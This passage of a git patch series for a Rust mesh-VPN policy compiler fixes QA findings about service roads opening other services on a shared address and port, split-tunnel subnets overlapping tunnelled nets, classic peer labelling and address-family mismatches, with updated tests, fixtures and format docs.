| `owner` | none | a person id (`devices.owner`). One that is not in the directory leaves the device ownerless (`devices.owner-unknown`, reported). A device with no owner is reached only by `device:` roads | -| `address` | — | the device's mesh address, one IPv4 or IPv6 address, unique, not inside any device's routes, not loopback, link-local, multicast or IPv4-embedding IPv6 (`devices.address`) | +| `address` | — | the device's mesh address, one IPv4 or IPv6 address, unique, not inside any device's routes, not loopback, link-local, multicast or IPv4-embedding IPv6, and never an internet address, so an exit's `internet` rule can never cover a mesh device (QA F-08): use `100.64.0.0/10` or a ULA (`devices.address`) | | `classic` | `false` | a classic WireGuard peer, **not post-quantum** | | `exit` | `false` | offers itself as an exit | | `relay` | `false` | may be named by `via` | From ecafe194a58fd1e721c45931bf2c9a6b836351f3 Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 08:52:01 +0100 Subject: [PATCH 15/25] [roads] QA F-05 and F-06: classic custom blocks, and roads across address families F-05: plan.custom took classic from the road only, so a raw block on a classic device without classic: true was labelled post-quantum. The device's flag now counts too, as it already did for peers. F-06: a device has one mesh address, so a can-reach road from IPv4 devices to an IPv6 place compiled to rules that could never match, silently. Those devices now get nothing for that road, and the road is reported inactive (road.family) naming them. --- crates/roads/src/compile.rs | 30 +++++++++++++++++++++++++++++- crates/roads/src/plan.rs | 2 +- crates/roads/src/rules.rs | 2 ++ crates/roads/tests/qa_findings.rs | 2 -- crates/roads/tests/validation.rs | 24 ++++++++++++++++++++++++ docs/FORMATS.md | 1 + 6 files changed, 57 insertions(+), 4 deletions(-) diff --git a/crates/roads/src/compile.rs b/crates/roads/src/compile.rs index a7f800a..a8a99ab 100644 --- a/crates/roads/src/compile.rs +++ b/crates/roads/src/compile.rs @@ -402,7 +402,14 @@ pub fn compile(store: &Store, now: Instant) -> Compiled { ), Place::Exit(_) => unreachable!("the parser refuses exit objects for can-reach"), }; + let mut other_family: Vec<&str> = Vec::new(); for from in subject.iter().filter(|d| **d != host) { + // A device has one mesh address. From an IPv4 address to an IPv6 place (or the other way) + // the rule could never match: grant nothing, and say so (QA F-06). + if devs.devices[from].address.0.is_ipv4() != dst.inner().addr().is_ipv4() { + other_family.push(&devs.devices[from].name); + continue; + } touch(from, road); effects += 1; touch(&host, road); @@ -417,6 +424,25 @@ pub fn compile(store: &Store, now: Instant) -> Compiled { via: road.via.clone(), }); } + if !other_family.is_empty() { + other_family.sort(); + out.problems.push(inactive( + Some("object"), + r::ROAD_FAMILY, + format!( + "{dst} is {}, and the mesh address of {} is not: nothing granted there", + if dst.inner().addr().is_ipv4() { + "IPv4" + } else { + "IPv6" + }, + other_family.join(", ") + ), + )); + if effects == 0 { + continue; + } + } } (Verb::ExitsThrough, Some(Place::Exit(exit))) => { for from in subject.iter().filter(|d| *d != exit) { @@ -473,7 +499,9 @@ pub fn compile(store: &Store, now: Instant) -> Compiled { .custom .push(plan::Custom { road: road.id.clone(), - classic: road.is_classic(), + // The device decides, like a peer's flag: a classic device's raw block is never + // labelled post-quantum, whatever the road says (QA F-05). + classic: road.is_classic() || devs.devices[d].classic, raw: raw.clone(), }); } diff --git a/crates/roads/src/plan.rs b/crates/roads/src/plan.rs index af5a531..b619bea 100644 --- a/crates/roads/src/plan.rs +++ b/crates/roads/src/plan.rs @@ -141,7 +141,7 @@ pub struct Direct { #[serde(deny_unknown_fields)] pub struct Custom { pub road: RoadId, - /// The road said this is for a classic peer: not post-quantum. + /// For a classic device (or a road that says so): not post-quantum. pub classic: bool, /// The raw block, byte for byte. **Never checked by the compiler.** pub raw: String, diff --git a/crates/roads/src/rules.rs b/crates/roads/src/rules.rs index f9589a5..42a0a92 100644 --- a/crates/roads/src/rules.rs +++ b/crates/roads/src/rules.rs @@ -48,6 +48,7 @@ pub const ROAD_NO_DEVICES: &str = "road.no-devices"; pub const ROAD_SELF: &str = "road.self"; pub const EXIT_CONFLICT: &str = "exit.conflict"; pub const DIRECT_KILL_SWITCH: &str = "direct.kill-switch"; +pub const ROAD_FAMILY: &str = "road.family"; // Snapshots pub const SNAPSHOT_JSON: &str = "snapshot.json"; @@ -113,6 +114,7 @@ pub const ALL: &[&str] = &[ ROAD_SELF, EXIT_CONFLICT, DIRECT_KILL_SWITCH, + ROAD_FAMILY, SNAPSHOT_JSON, SNAPSHOT_FORMAT, DIRECTORY_ID, diff --git a/crates/roads/tests/qa_findings.rs b/crates/roads/tests/qa_findings.rs index 74fd7de..a92fd89 100644 --- a/crates/roads/tests/qa_findings.rs +++ b/crates/roads/tests/qa_findings.rs @@ -175,7 +175,6 @@ fn f04_deleting_a_person_revokes_them_and_nobody_else() { /// F-05. A custom road on a classic device is carried as `classic: false` unless the road says otherwise, so the /// plan labels a classic peer's raw block as post-quantum (CLAUDE.md: classic peers are labelled everywhere). #[test] -#[ignore = "QA F-05 (minor): plan.custom takes `classic` from the road, not from the device"] fn f05_a_custom_block_on_a_classic_device_is_labelled_classic() { let router = key(5); let text = Parts::home() @@ -198,7 +197,6 @@ fn f05_a_custom_block_on_a_classic_device_is_labelled_classic() { /// other way round) compile cleanly into rules that can never match: a road that grants nothing, reported as /// nothing. #[test] -#[ignore = "QA F-06 (minor): a road across address families compiles into a rule that never matches"] fn f06_a_road_across_address_families_is_reported() { let parts = with( Parts::home().edit_devices(|d| { diff --git a/crates/roads/tests/validation.rs b/crates/roads/tests/validation.rs index 06c4513..ef5866b 100644 --- a/crates/roads/tests/validation.rs +++ b/crates/roads/tests/validation.rs @@ -42,6 +42,7 @@ fn inactive_code(code: &str) -> bool { rules::ROAD_SELF, rules::EXIT_CONFLICT, rules::DIRECT_KILL_SWITCH, + rules::ROAD_FAMILY, ] .contains(&code) } @@ -242,6 +243,29 @@ fn generated(baseline: &[u8]) -> BTreeSet { ); } hit.insert(rules::STORE_ROADS.into()); + // road.family: an IPv4 subject to an IPv6 subnet needs an IPv6 route in devices.json (QA F-06). + let v6 = Parts::home() + .edit_devices(|d| { + d.replace( + r#""routes": ["192.168.100.0/24"]"#, + r#""routes": ["192.168.100.0/24", "fd00:1::/64"]"#, + ) + }) + .with_road( + "b00004-mark-v6.md", + "---\nid: b00004\nsubject: person:mark\nverb: can-reach\nobject: subnet:fd00:1::/64\ncreated: 2026-11-25T10:00:00Z\n---\n", + ); + let c = v6.compile(); + let hit_family = c + .problems + .iter() + .find(|p| p.path == "roads/b00004-mark-v6.md" && p.code == rules::ROAD_FAMILY); + assert!( + hit_family.is_some_and(|p| !p.is_error() && p.field.as_deref() == Some("object")), + "{:?}", + c.problems + ); + hit.insert(rules::ROAD_FAMILY.into()); hit } diff --git a/docs/FORMATS.md b/docs/FORMATS.md index 7ac1e43..c488042 100644 --- a/docs/FORMATS.md +++ b/docs/FORMATS.md @@ -125,6 +125,7 @@ Valid roads that grant nothing right now, reported with their reason (not errors | `road.no-devices` | the subject has no devices | | `road.self` | every subject device is the object's own device | | `exit.conflict` | for one device: active `exits-through` roads to two different exits (that device gets neither; reported per road, naming the device) | +| `road.family` | a `can-reach` road from devices whose mesh address is IPv4 to an IPv6 place, or the other way: those devices get nothing (a rule that could never match), reported naming them (QA F-06) | | `direct.kill-switch` | for one device with a kill switch: a `goes-direct` road to a subnet that reaches the internet; the kill switch wins and the subnet stays in the tunnel (reported per road, naming the device). Going direct to a private subnet stays allowed | ## `directory.json` — the people directory snapshot From 80f73a01547650710e7d6846298028c6b41977dc Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 08:54:51 +0100 Subject: [PATCH 16/25] [roads] QA F-02: going direct never takes what the tunnel carries out of it A goes-direct subnet was only checked to be canonical, and the kill switch dropped it only when it reached the internet, so 100.96.0.0/16 (every mesh address) or the home LAN that the plan routes into the tunnel compiled cleanly. Now, decided here because the plan has to say which route wins: - a goes-direct subnet other than /0 that holds a mesh address is refused (direct.mesh); - per device, a direct subnet inside a net the plan tunnels is dropped and reported (direct.tunnelled); - a direct subnet that holds tunnelled nets keeps them in the tunnel, listed in the new plan field direct[].except. A platform that cannot honour except (an app-level bypass) must not apply the entry. The F-02 test now checks that every overlap is covered by except, and that only the mesh subnet is refused. Golden plans and the pinned jana-phone digest are regenerated: the only change is the except lists. Plan format 1 has not been released, so it changes in place. --- crates/proto/tests/jana-phone.digest | 2 +- crates/roads/src/compile.rs | 66 +++++++++++++++++++ crates/roads/src/plan.rs | 3 + crates/roads/src/rules.rs | 4 ++ crates/roads/src/snapshot.rs | 5 ++ .../fixtures/home/expected/friend-node.json | 3 + .../fixtures/home/expected/home-server.json | 6 ++ .../fixtures/home/expected/jana-laptop.json | 3 + .../fixtures/home/expected/jana-phone.json | 3 + .../fixtures/home/expected/petr-phone.json | 1 + .../tests/fixtures/home/expected/router.json | 3 + .../roads/tests/fixtures/invalid/expect.txt | 2 + .../invalid/roads/a00048-direct-mesh.md | 7 ++ .../invalid/roads/a00049-direct-tunnelled.md | 7 ++ crates/roads/tests/qa_findings.rs | 16 ++++- crates/roads/tests/validation.rs | 1 + docs/FORMATS.md | 5 +- 17 files changed, 132 insertions(+), 5 deletions(-) create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00048-direct-mesh.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00049-direct-tunnelled.md diff --git a/crates/proto/tests/jana-phone.digest b/crates/proto/tests/jana-phone.digest index eb9fd94..a4ab07f 100644 --- a/crates/proto/tests/jana-phone.digest +++ b/crates/proto/tests/jana-phone.digest @@ -1 +1 @@ -da086f1cc965aee30351547c6ac466939c627e2f915d5c67314a73357f38f68a +f16046353b91971cb181e7453b6631a4b38c08adb5fcc5ef603e3c7514c65699 diff --git a/crates/roads/src/compile.rs b/crates/roads/src/compile.rs index a8a99ab..19d0111 100644 --- a/crates/roads/src/compile.rs +++ b/crates/roads/src/compile.rs @@ -256,6 +256,27 @@ fn check( Some(d) if d.classic => classic_peers.push(&d.name), Some(_) => {} }, + Some(Place::Subnet(n)) if road.verb == Verb::GoesDirect && n.prefix_len() > 0 => { + // Going direct never takes the mesh's own addresses out of the tunnel (QA F-02). The default + // route is the one exception: it keeps every tunnelled net in, as `except` (below). + let mut inside: Vec<&str> = devs + .mesh_addresses() + .filter(|(_, a)| n.contains_addr(&a.0)) + .map(|(d, _)| d.name.as_str()) + .collect(); + if !inside.is_empty() { + inside.sort(); + inside.dedup(); + out.push(p( + "object", + r::DIRECT_MESH, + format!( + "{n} holds the mesh address of {}: mesh traffic never goes direct", + inside.join(", ") + ), + )); + } + } Some(Place::Subnet(_)) => {} None => {} } @@ -629,6 +650,50 @@ pub fn compile(store: &Store, now: Instant) -> Compiled { build_plan(key, dev, devs, &mine, extras.remove(key), expiry.get(key)), ); } + + // What the tunnel carries wins over going direct (QA F-02). A direct subnet inside a net this plan sends + // through the tunnel is dropped; one that holds such nets keeps them in the tunnel, listed in `except`, + // so no platform has to guess which route wins. + for plan in out.plans.values_mut() { + let tunnelled: BTreeSet = plan + .peers + .iter() + .flat_map(|p| p.allowed_ips.iter().copied()) + .filter(|n| n.prefix_len() > 0) + .collect(); + let mut kept = Vec::new(); + for mut d in std::mem::take(&mut plan.direct) { + if let Some(t) = tunnelled.iter().find(|t| t.contains(&d.subnet)) { + for id in &d.roads { + let road = store + .roads + .iter() + .find(|r| &r.id == id) + .expect("a granting road"); + out.problems.push( + Problem::inactive( + &road.path, + Some("object"), + r::DIRECT_TUNNELLED, + format!( + "for {}: {} is inside {t}, which goes through the tunnel; it does not go direct", + plan.name, d.subnet + ), + ) + .at(road.line_of("object")), + ); + } + continue; + } + d.except = tunnelled + .iter() + .filter(|t| d.subnet.overlaps(t)) + .copied() + .collect(); + kept.push(d); + } + plan.direct = kept; + } out.problems.sort(); out } @@ -819,6 +884,7 @@ fn build_plan( .map(|((app, subnet), roads)| plan::Direct { app, subnet, + except: Vec::new(), roads: roads.into_iter().collect(), }) .collect(), diff --git a/crates/roads/src/plan.rs b/crates/roads/src/plan.rs index b619bea..88deb15 100644 --- a/crates/roads/src/plan.rs +++ b/crates/roads/src/plan.rs @@ -134,6 +134,9 @@ pub struct Direct { /// `None`: all traffic to `subnet`; `Some`: only that app's. pub app: Option, pub subnet: Net, + /// The nets inside `subnet` that this plan sends through the tunnel: they stay in it (QA F-02). A + /// platform that cannot keep them in (an app-level bypass, say) must not apply this entry at all. + pub except: Vec, pub roads: Vec, } diff --git a/crates/roads/src/rules.rs b/crates/roads/src/rules.rs index 42a0a92..04ccee5 100644 --- a/crates/roads/src/rules.rs +++ b/crates/roads/src/rules.rs @@ -29,6 +29,7 @@ pub const OBJECT_UNKNOWN: &str = "object.unknown"; pub const OBJECT_NOT_EXIT: &str = "object.not-exit"; pub const SUBNET_NOT_CANONICAL: &str = "subnet.not-canonical"; pub const SUBNET_UNROUTED: &str = "subnet.unrouted"; +pub const DIRECT_MESH: &str = "direct.mesh"; pub const UNTIL_FORMAT: &str = "until.format"; pub const CREATED_FORMAT: &str = "created.format"; pub const PORTS_FORMAT: &str = "ports.format"; @@ -49,6 +50,7 @@ pub const ROAD_SELF: &str = "road.self"; pub const EXIT_CONFLICT: &str = "exit.conflict"; pub const DIRECT_KILL_SWITCH: &str = "direct.kill-switch"; pub const ROAD_FAMILY: &str = "road.family"; +pub const DIRECT_TUNNELLED: &str = "direct.tunnelled"; // Snapshots pub const SNAPSHOT_JSON: &str = "snapshot.json"; @@ -97,6 +99,7 @@ pub const ALL: &[&str] = &[ OBJECT_NOT_EXIT, SUBNET_NOT_CANONICAL, SUBNET_UNROUTED, + DIRECT_MESH, UNTIL_FORMAT, CREATED_FORMAT, PORTS_FORMAT, @@ -115,6 +118,7 @@ pub const ALL: &[&str] = &[ EXIT_CONFLICT, DIRECT_KILL_SWITCH, ROAD_FAMILY, + DIRECT_TUNNELLED, SNAPSHOT_JSON, SNAPSHOT_FORMAT, DIRECTORY_ID, diff --git a/crates/roads/src/snapshot.rs b/crates/roads/src/snapshot.rs index 0c92056..d2300f0 100644 --- a/crates/roads/src/snapshot.rs +++ b/crates/roads/src/snapshot.rs @@ -79,6 +79,11 @@ impl Devices { .find_map(|d| d.services.iter().find(|s| &s.host == host).map(|s| (d, s))) } + /// Every mesh address: each device's own. Never goes direct (QA F-02). + pub fn mesh_addresses(&self) -> impl Iterator { + self.devices.values().map(|d| (d, d.address)) + } + /// The one device whose routes cover `net`. pub fn router_of(&self, net: &Net) -> Option<&Device> { self.devices diff --git a/crates/roads/tests/fixtures/home/expected/friend-node.json b/crates/roads/tests/fixtures/home/expected/friend-node.json index 2fad880..7dd1ee1 100644 --- a/crates/roads/tests/fixtures/home/expected/friend-node.json +++ b/crates/roads/tests/fixtures/home/expected/friend-node.json @@ -42,6 +42,9 @@ { "app": "steam", "subnet": "0.0.0.0/0", + "except": [ + "100.96.0.7/32" + ], "roads": [ "e5yj1s" ] diff --git a/crates/roads/tests/fixtures/home/expected/home-server.json b/crates/roads/tests/fixtures/home/expected/home-server.json index cae2767..b6d5406 100644 --- a/crates/roads/tests/fixtures/home/expected/home-server.json +++ b/crates/roads/tests/fixtures/home/expected/home-server.json @@ -177,6 +177,12 @@ { "app": "steam", "subnet": "0.0.0.0/0", + "except": [ + "100.96.0.1/32", + "100.96.0.3/32", + "100.96.0.4/32", + "100.96.0.5/32" + ], "roads": [ "e5yj1s" ] diff --git a/crates/roads/tests/fixtures/home/expected/jana-laptop.json b/crates/roads/tests/fixtures/home/expected/jana-laptop.json index 48d7921..e847431 100644 --- a/crates/roads/tests/fixtures/home/expected/jana-laptop.json +++ b/crates/roads/tests/fixtures/home/expected/jana-laptop.json @@ -40,6 +40,9 @@ { "app": "steam", "subnet": "0.0.0.0/0", + "except": [ + "100.96.0.2/32" + ], "roads": [ "e5yj1s" ] diff --git a/crates/roads/tests/fixtures/home/expected/jana-phone.json b/crates/roads/tests/fixtures/home/expected/jana-phone.json index fcce017..e8ebffe 100644 --- a/crates/roads/tests/fixtures/home/expected/jana-phone.json +++ b/crates/roads/tests/fixtures/home/expected/jana-phone.json @@ -40,6 +40,9 @@ { "app": "steam", "subnet": "0.0.0.0/0", + "except": [ + "100.96.0.2/32" + ], "roads": [ "e5yj1s" ] diff --git a/crates/roads/tests/fixtures/home/expected/petr-phone.json b/crates/roads/tests/fixtures/home/expected/petr-phone.json index d63918b..d6c3d3d 100644 --- a/crates/roads/tests/fixtures/home/expected/petr-phone.json +++ b/crates/roads/tests/fixtures/home/expected/petr-phone.json @@ -37,6 +37,7 @@ { "app": "steam", "subnet": "0.0.0.0/0", + "except": [], "roads": [ "e5yj1s" ] diff --git a/crates/roads/tests/fixtures/home/expected/router.json b/crates/roads/tests/fixtures/home/expected/router.json index 603357e..a52be62 100644 --- a/crates/roads/tests/fixtures/home/expected/router.json +++ b/crates/roads/tests/fixtures/home/expected/router.json @@ -31,6 +31,9 @@ { "app": "steam", "subnet": "0.0.0.0/0", + "except": [ + "100.96.0.2/32" + ], "roads": [ "e5yj1s" ] diff --git a/crates/roads/tests/fixtures/invalid/expect.txt b/crates/roads/tests/fixtures/invalid/expect.txt index f792de9..db7c940 100644 --- a/crates/roads/tests/fixtures/invalid/expect.txt +++ b/crates/roads/tests/fixtures/invalid/expect.txt @@ -46,6 +46,8 @@ road a00044-tab.md yaml.refused - road a00045-empty-until.md key.empty until road a00046-until-comment.md key.empty until road a00047-empty-ports.md key.empty ports +road a00048-direct-mesh.md direct.mesh object +road a00049-direct-tunnelled.md direct.tunnelled object directory unknown-field.directory.json snapshot.json - directory format-two.directory.json snapshot.format format directory bad-person-id.directory.json directory.id people[3].id diff --git a/crates/roads/tests/fixtures/invalid/roads/a00048-direct-mesh.md b/crates/roads/tests/fixtures/invalid/roads/a00048-direct-mesh.md new file mode 100644 index 0000000..a4add75 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00048-direct-mesh.md @@ -0,0 +1,7 @@ +--- +id: a00048 +subject: person:jana +verb: goes-direct +object: subnet:100.96.0.0/24 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00049-direct-tunnelled.md b/crates/roads/tests/fixtures/invalid/roads/a00049-direct-tunnelled.md new file mode 100644 index 0000000..e1cba32 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00049-direct-tunnelled.md @@ -0,0 +1,7 @@ +--- +id: a00049 +subject: person:mark +verb: goes-direct +object: subnet:192.168.100.0/25 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/qa_findings.rs b/crates/roads/tests/qa_findings.rs index a92fd89..814c379 100644 --- a/crates/roads/tests/qa_findings.rs +++ b/crates/roads/tests/qa_findings.rs @@ -52,7 +52,6 @@ fn f01_a_service_road_grants_only_that_service() { /// plan also routes into the tunnel is told to bypass it, on whatever network the device is on, and the /// kill switch does not stop it because the subnet is "private". #[test] -#[ignore = "QA F-02 (major): goes-direct can take mesh addresses and tunnelled subnets out of the tunnel"] fn f02_going_direct_never_overlaps_what_the_tunnel_carries() { let mark_pc = key(1); for subnet in ["100.96.0.0/16", "192.168.100.0/24", "192.168.0.0/16"] { @@ -77,15 +76,28 @@ fn f02_going_direct_never_overlaps_what_the_tunnel_carries() { .flat_map(|p| p.allowed_ips.iter()) .filter(|n| n.prefix_len() > 0) .collect(); + // Decision (owner session): a direct subnet that holds tunnelled nets keeps them in the tunnel, listed + // in `except`; one inside a tunnelled net is dropped; one holding a mesh address is refused. So every + // overlap must be covered by `except`. for d in &plan.direct { for n in &tunnelled { assert!( - !d.subnet.overlaps(n), + !d.subnet.overlaps(n) || d.except.iter().any(|e| e.contains(n)), "goes-direct {} overlaps {n}, which the plan sends through the tunnel", d.subnet ); } } + let refused = c + .problems + .iter() + .any(|p| p.path.contains("f02aaa") && p.code == roads::rules::DIRECT_MESH); + assert_eq!( + refused, + subnet == "100.96.0.0/16", + "{subnet}: {:?}", + c.problems + ); } } diff --git a/crates/roads/tests/validation.rs b/crates/roads/tests/validation.rs index ef5866b..635ba7d 100644 --- a/crates/roads/tests/validation.rs +++ b/crates/roads/tests/validation.rs @@ -43,6 +43,7 @@ fn inactive_code(code: &str) -> bool { rules::EXIT_CONFLICT, rules::DIRECT_KILL_SWITCH, rules::ROAD_FAMILY, + rules::DIRECT_TUNNELLED, ] .contains(&code) } diff --git a/docs/FORMATS.md b/docs/FORMATS.md index c488042..6d04192 100644 --- a/docs/FORMATS.md +++ b/docs/FORMATS.md @@ -57,7 +57,7 @@ is not `key: value`, or a bad quoted string, is `yaml.syntax`. | `id` | yes | 6 characters of `0123456789abcdefghjkmnpqrstvwxyz` (no `i l o u`), random | `id.format`; must equal the file name's prefix (`id.file-name`); unique in the store (`id.duplicate`, both files grant nothing) | | `subject` | yes | a reference (below): `person:`, `group:`, `device:` or `app:` | `ref.format`, `subject.kind` (not allowed for the verb), `subject.unknown` (not in the snapshots) | | `verb` | yes | `can-reach`, `exits-through`, `goes-direct`, `never-online-without`, `custom` | `verb.unknown` | -| `object` | yes, except `custom` (where it is not allowed) | a reference: `device:`, `subnet:`, `service:` or `exit:` | `ref.format`, `object.kind`, `object.unknown`, `object.not-exit`, `subnet.not-canonical`, `subnet.unrouted` | +| `object` | yes, except `custom` (where it is not allowed) | a reference: `device:`, `subnet:`, `service:` or `exit:` | `ref.format`, `object.kind`, `object.unknown`, `object.not-exit`, `subnet.not-canonical`, `subnet.unrouted`; a `goes-direct` subnet other than `/0` that holds a mesh address is `direct.mesh` (mesh traffic never goes direct, QA F-02) | | `until` | no | RFC 3339 with an offset: `2026-11-29T23:59:59+01:00` or `…Z`; exclusive | `until.format`; `until <= now` makes the road *inactive* (`road.expired`) | | `ports` | no; only `can-reach` | a list of `tcp/443`, `udp/53`, `tcp/8000-8100`, `tcp`, `udp`, `icmp`; absent means all traffic | `ports.format`; for a service, every port must be one it serves (`ports.not-served`) | | `via` | no; only `can-reach` | `device:` of a device with `relay` or `exit` | `via.format`, `via.unknown`, `via.not-relay` | @@ -125,6 +125,7 @@ Valid roads that grant nothing right now, reported with their reason (not errors | `road.no-devices` | the subject has no devices | | `road.self` | every subject device is the object's own device | | `exit.conflict` | for one device: active `exits-through` roads to two different exits (that device gets neither; reported per road, naming the device) | +| `direct.tunnelled` | for one device: a `goes-direct` subnet inside a net its plan sends through the tunnel (a route it reaches, a peer's address); the tunnel wins and the entry is dropped (reported per road, naming the device, QA F-02) | | `road.family` | a `can-reach` road from devices whose mesh address is IPv4 to an IPv6 place, or the other way: those devices get nothing (a rule that could never match), reported naming them (QA F-06) | | `direct.kill-switch` | for one device with a kill switch: a `goes-direct` road to a subnet that reaches the internet; the kill switch wins and the subnet stays in the tunnel (reported per road, naming the device). Going direct to a private subnet stays allowed | @@ -201,7 +202,7 @@ entry. | `dns[]` | `host`, `address`, `roads`: names this device may resolve to a mesh address | | `exit` | `{through, roads}` or `null` | | `kill_switch` | `{through, roads}` or `null`. `through` is `null` (only the mesh) when two kill-switch roads disagree, or when a kill-switch road has an error: a restriction fails closed, it is never dropped (QA F-03). `roads` lists the erroneous road too | -| `direct[]` | `{app, subnet, roads}`: traffic to `subnet` bypasses the tunnel (split tunnelling); `app` is `null` for all traffic, or the one app whose traffic goes direct | +| `direct[]` | `{app, subnet, except, roads}`: traffic to `subnet` bypasses the tunnel (split tunnelling); `app` is `null` for all traffic, or the one app whose traffic goes direct. `except` lists the nets inside `subnet` that this plan sends through the tunnel (its peers' non-default allowed IPs): they stay in the tunnel, whatever the platform's route order. A platform that cannot keep them in (an app-level bypass) must not apply the entry (QA F-02) | | `custom[]` | `{road, classic, raw}`: the raw block verbatim, **never checked by the compiler** | `internet` is every address except `0.0.0.0/8`, `10.0.0.0/8`, `100.64.0.0/10`, `127.0.0.0/8`, `169.254.0.0/16`, From 69e3a9377d57b920fd183f77c206d742ce21df2e Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 09:01:18 +0100 Subject: [PATCH 17/25] [roads] QA F-01: a service road grants only that service A firewall sees an address and a port, never a hostname, so a road to photos.home.arpa compiled to home-server:443 and also opened git.home.arpa there. Rules are now per service: - devices.json services may carry their own mesh address (same rules as a device address, unique among all of them). A road to such a service compiles to that address only; the hosting device's plan lists it in the new field services[] so it answers on it, and DNS points there. - A road to a service that shares its address and a port with another service is refused (service.shared), naming the others, instead of opening both. Narrowing ports: to a port nobody else serves on that address is allowed. - A device: road reaches the whole device: its own address and its services' own addresses. No Ianitor identity check is needed for this. The home fixture gives photos its own address (100.96.1.2); tests that encoded the old host:port model are updated, three new snapshot fixtures cover the address rules, and the golden plans and pinned digest are regenerated. Mutation-checked: dropping the refusal, or ignoring the service address, each fails an F-01 test. --- crates/proto/tests/jana-phone.digest | 2 +- crates/roads/src/compile.rs | 80 +++++++++++--- crates/roads/src/explain.rs | 2 +- crates/roads/src/plan.rs | 9 ++ crates/roads/src/rules.rs | 2 + crates/roads/src/snapshot.rs | 100 ++++++++++++------ crates/roads/tests/explain.rs | 4 +- crates/roads/tests/fixtures/home/devices.json | 2 +- .../fixtures/home/expected/friend-node.json | 1 + .../fixtures/home/expected/home-server.json | 66 +++++++++++- .../fixtures/home/expected/jana-laptop.json | 9 +- .../fixtures/home/expected/jana-phone.json | 9 +- .../tests/fixtures/home/expected/mark-pc.json | 2 + .../fixtures/home/expected/petr-phone.json | 1 + .../tests/fixtures/home/expected/router.json | 7 +- .../roads/tests/fixtures/invalid/expect.txt | 3 + .../service-address-in-route.devices.json | 17 +++ .../service-address-public.devices.json | 17 +++ .../service-address-twice.devices.json | 17 +++ crates/roads/tests/qa_findings.rs | 62 ++++++++++- crates/roads/tests/revocation.rs | 3 +- crates/roads/tests/validation.rs | 21 ++++ docs/FORMATS.md | 4 +- 23 files changed, 380 insertions(+), 60 deletions(-) create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/service-address-in-route.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/service-address-public.devices.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/service-address-twice.devices.json diff --git a/crates/proto/tests/jana-phone.digest b/crates/proto/tests/jana-phone.digest index a4ab07f..607df85 100644 --- a/crates/proto/tests/jana-phone.digest +++ b/crates/proto/tests/jana-phone.digest @@ -1 +1 @@ -f16046353b91971cb181e7453b6631a4b38c08adb5fcc5ef603e3c7514c65699 +bfcecb172d2f1edc0ea152e1f0e05ad7b89a05ad14b27e22651a5ee6379e0917 diff --git a/crates/roads/src/compile.rs b/crates/roads/src/compile.rs index 19d0111..6a3f550 100644 --- a/crates/roads/src/compile.rs +++ b/crates/roads/src/compile.rs @@ -245,6 +245,32 @@ fn check( format!("{h} serves only {}", served.join(", ")), )); } + // A firewall sees an address and a port, never a hostname. If another service answers on the + // same address and one of the same ports, a rule for this one opens that one too: refuse, and + // name it, rather than grant more than the road says (QA F-01). + let wanted = road.ports.as_deref().unwrap_or(&s.ports); + let mut shared: Vec = d + .services + .iter() + .filter(|o| { + o.host != *h + && o.endpoint(d) == s.endpoint(d) + && ports::overlaps(Some(wanted), Some(&o.ports)) + }) + .map(|o| o.host.to_string()) + .collect(); + if !shared.is_empty() { + shared.sort(); + out.push(p( + "object", + r::SERVICE_SHARED, + format!( + "{h} shares {} and its ports with {}, so a rule for it would open them too; give {h} its own `address` in devices.json, narrow `ports`, or write a device: road", + s.endpoint(d), + shared.join(", ") + ), + )); + } } }, Some(Place::Subnet(n)) if road.verb == Verb::CanReach => match devs.router_of(n) { @@ -408,7 +434,7 @@ pub fn compile(store: &Store, now: Instant) -> Compiled { let ports = road.ports.clone().unwrap_or_else(|| s.ports.clone()); ( d.key.clone(), - Net::host(d.address.0), + Net::host(s.endpoint(d).0), false, Some(ports), Some(h.clone()), @@ -423,6 +449,16 @@ pub fn compile(store: &Store, now: Instant) -> Compiled { ), Place::Exit(_) => unreachable!("the parser refuses exit objects for can-reach"), }; + // A device road reaches the whole device: its own address and those of the services it hosts on + // an address of their own (same family as the sender only). + let extra: Vec = match object { + Place::Device(k) => devs.devices[k] + .services + .iter() + .filter_map(|s| s.address.map(|a| Net::host(a.0))) + .collect(), + _ => Vec::new(), + }; let mut other_family: Vec<&str> = Vec::new(); for from in subject.iter().filter(|d| **d != host) { // A device has one mesh address. From an IPv4 address to an IPv6 place (or the other way) @@ -434,16 +470,24 @@ pub fn compile(store: &Store, now: Instant) -> Compiled { touch(from, road); effects += 1; touch(&host, road); - out.grants.push(Grant::Reach { - road: road.id.clone(), - from: from.clone(), - host: host.clone(), - dst, - forward, - ports: ports.clone(), - dns: dns.clone(), - via: road.via.clone(), - }); + let family = devs.devices[from].address.0.is_ipv4(); + for d in std::iter::once(dst).chain( + extra + .iter() + .copied() + .filter(|n| n.inner().addr().is_ipv4() == family), + ) { + out.grants.push(Grant::Reach { + road: road.id.clone(), + from: from.clone(), + host: host.clone(), + dst: d, + forward, + ports: ports.clone(), + dns: dns.clone(), + via: road.via.clone(), + }); + } } if !other_family.is_empty() { other_family.sort(); @@ -738,7 +782,9 @@ fn build_plan( p.vias.insert(via.clone()); if let Some(h) = host_name { dns.entry(h.clone()) - .or_insert_with(|| (addr(host), BTreeSet::new())) + .or_insert_with(|| { + (crate::net::Addr(dst.inner().addr()), BTreeSet::new()) + }) .1 .insert(road.clone()); } @@ -830,6 +876,16 @@ fn build_plan( device: me.clone(), name: dev.name.clone(), address: dev.address, + services: dev + .services + .iter() + .filter_map(|s| { + s.address.map(|address| plan::ServiceAddress { + host: s.host.clone(), + address, + }) + }) + .collect(), classic: dev.classic, expires: expiry.map(|e| e.to_string()), peers: peers diff --git a/crates/roads/src/explain.rs b/crates/roads/src/explain.rs index a64ae99..6850984 100644 --- a/crates/roads/src/explain.rs +++ b/crates/roads/src/explain.rs @@ -24,7 +24,7 @@ pub fn explain( let (dst, want_ports): (Option, Option>) = match place { 